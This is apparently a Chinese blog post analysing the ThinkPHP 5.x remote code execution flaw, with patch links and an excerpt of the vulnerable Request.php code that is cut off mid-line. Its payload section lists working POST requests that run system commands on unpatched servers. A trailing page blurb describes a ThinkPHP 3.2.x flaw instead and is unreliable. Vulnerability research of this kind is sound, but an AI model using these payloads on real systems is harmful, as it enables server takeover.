ThinkPHP 5.x RCE 漏洞分析与利用总结

近日ThinkPHP出现由于变量覆盖而引起的RCE,其漏洞根本源于thinkphp/library/think/Request.php中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。

例如:
1、大部分payload进入最后rce的函数是调用了call_user_func,其可控的也只有一个参数,并且还不能为数组。
2、另外在php7中assert不能使用,或者命令函数被禁用。

接下来将为大家进行漏洞分析以及对各个版本、场景下的利用进行详细的总结。

漏洞范围: <= 5.0.23、<= 5.1.32

5.0.x补丁:
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

5.1.x补丁:
https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6

Payload总结

1、<= 5.0.13

POST /?s=index/index

s=whoami&_method=__construct&method=&filter[]=system

2、<= 5.0.23、5.1.0 <= 5.1.16

  • 开启debug()
POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

3、<= 5.0.23
需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他。

POST /?s=captcha HTTP/1.1

_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get

4、5.0.0 <= version <= 5.1.32

  • error_reporting(0)关闭报错
POST /

c=exec&f=calc.exe&_method=filter

5.0.0 <= ThinkPHP5 <= 5.1.17

thinkphp/library/think/Request.php中的$this->{$this->method}($_POST);,其中$this->method是可以通过post方式控制,其传入的参数是Config::get('var_method'),默认值为_method,这样将导致我们可以调用Request里面的方法。

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $t
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThinkPHP是一个开源的PHP开发框架,它的版本3.2.x是一个老版本,存在远程命令执行(RCE漏洞。这个漏洞允许攻击者通过构造恶意请求来执行任意的系统命令,从而获得对应用服务器的完全控制权限。 这个漏洞的原因是在ThinkPHP 3.2.x版本的核心代码中没有对用户的输入进行充分的过滤和校验。攻击者可以利用这个漏洞来执行各种恶意操作,比如上传恶意文件、修改数据库内容或者获取系统敏感信息等。 为了利用这个漏洞,攻击者需要构造一个特殊的请求,其中包含可执行的系统命令。然后将这个请求发送到受影响的应用程序的漏洞点上。当应用程序在处理这个请求时,会将其中的系统命令当作可执行代码来执行,最终导致攻击者获取对应用服务器的控制权限。 为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架。在最新版本中,开发者已经修复了这个漏洞,并加强了对用户输入的过滤和校验。此外,用户还可以根据自己的需求对应用程序进行进一步的安全加固,比如限制上传文件的类型和大小,对用户输入进行严格的过滤和校验等。 总之,ThinkPHP 3.2.x版本存在远程命令执行漏洞,攻击者可以通过构造恶意请求来执行任意的系统命令。为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架,并加强应用程序的安全加固措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值